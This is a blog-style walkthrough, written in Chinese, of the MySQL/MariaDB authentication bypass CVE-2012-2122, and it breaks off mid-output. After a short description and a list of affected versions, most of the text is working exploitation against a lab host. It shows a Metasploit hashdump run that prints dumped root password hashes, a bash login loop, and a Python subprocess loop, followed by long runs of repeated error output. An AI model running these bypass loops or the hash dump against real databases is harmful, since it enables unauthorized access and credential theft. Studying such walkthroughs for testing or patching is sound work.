CVE-2012-2122-Mysql身份认证漏洞及利用
Posted 竹小冉
tags:
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一、漏洞简介
当连接MariaDB/mysql时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。按照公告说法大约256次就能够蒙对一次。
受影响的产品:
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
二、漏洞危害
只要知道用户名,不断尝试就能够直接登入SQL数据库。
三、漏洞验证
1、metasploit
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf auxiliary(mysql_authbypass_hashdump) > info Name: MySQL Authentication Bypass Password Dump Module: auxiliary/scanner/mysql/mysql_authbypass_hashdump License: Metasploit Framework License (BSD) Rank: Normal Disclosed: 2012-06-09 Provided by: theLightCosine <[email protected]> jcran <[email protected]> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 3306 yes The target port (TCP) THREADS 1 yes The number of concurrent threads USERNAME root yes The username to authenticate as Description: This module exploits a password bypass vulnerability in MySQL in order to extract the usernames and encrypted password hashes from a MySQL server. These hashes are stored as loot for later cracking. References: https://cvedetails.com/cve/CVE-2012-2122/ OSVDB (82804) https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 192.168.118.130 RHOSTS => 192.168.118.130 msf auxiliary(mysql_authbypass_hashdump) > run [+] 192.168.118.130:3306 - 192.168.118.130:3306 The server allows logins, proceeding with bypass test [*] 192.168.118.130:3306 - 192.168.118.130:3306 Authentication bypass is 10% complete [*] 192.168.118.130:3306 - 192.168.118.130:3306 Authentication bypass is 20% complete [*] 192.168.118.130:3306 - 192.168.118.130:3306 Successfully bypassed authentication after 207 attempts. URI: mysql://root:[email protected]:3306 [+] 192.168.118.130:3306 - 192.168.118.130:3306 Successfully exploited the authentication bypass flaw, dumping hashes... [+] 192.168.118.130:3306 - 192.168.118.130:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 [+] 192.168.118.130:3306 - 192.168.118.130:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 [+] 192.168.118.130:3306 - 192.168.118.130:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 [+] 192.168.118.130:3306 - 192.168.118.130:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 [+] 192.168.118.130:3306 - 192.168.118.130:3306 Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 [*] 192.168.118.130:3306 - 192.168.118.130:3306 Hash Table has been saved: /root/.msf4/loot/20180829155507_default_192.168.118.130_mysql.hashes_835663.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(mysql_authbypass_hashdump) >
2、Linux shell
[email protected]:~# for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.118.130 ; done ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) Welcome to the MariaDB monitor. Commands end with ; or g. Your MySQL connection id is 1513 Server version: 5.5.23 Source distribution Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others. Type ‘help;‘ or ‘h‘ for help. Type ‘c‘ to clear the current input statement. MySQL [(none)]> MySQL [(none)]> select version(); +-----------+ | version() | +-----------+ | 5.5.23 | +-----------+ 1 row in set (0.00 sec) MySQL [(none)]>
3、Python
主要调用了subprocess.Popen执行shell命令:
#!/usr/bin/python import subprocess while 1: subprocess.Popen("mysql -h 192.168.118.130 -u root mysql --password=blah", shell=True).wait()
具体执行过程:
[email protected]:~# python test.py ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): 